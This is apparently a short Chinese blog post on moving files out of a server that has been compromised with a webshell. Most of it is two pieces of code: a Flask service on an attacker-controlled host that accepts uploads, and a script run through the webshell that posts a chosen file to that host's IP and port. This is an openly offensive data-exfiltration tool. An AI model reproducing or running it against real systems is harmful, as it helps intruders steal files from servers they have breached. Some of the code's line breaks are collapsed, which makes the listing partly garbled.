webshell文件下载器

拥有webshell的服务器可以ping通主机A,这就表明webshell可以向主机A post一些数据。

在主机A上开启一个接受文件的http服务,在webshell中使用文件上传命令进行上传。

主机A:

import flask
from flask import request app = flask.Flask(__name__) @app.route("/", methods=["GET", "POST"])
def upload():
if request.method == 'GET':
return "I am ok,please post file"
elif request.method == "POST":
file = request.files['file']
file.save(file.filename)
return "upload successful"
else:
return "Plese use get or post method" if __name__ == '__main__':
app.run(host="0.0.0.0", port=8080)

webshell

import requests
import sys f = sys.argv[1]
targetName = sys.argv[2]
resp = requests.post("http://10.3.23.41:8080", files={
"file": (targetName, open(f))
})
print(resp.content)
上一篇:JNDI 使用


下一篇:@XmlAccessorType @XmlType 详解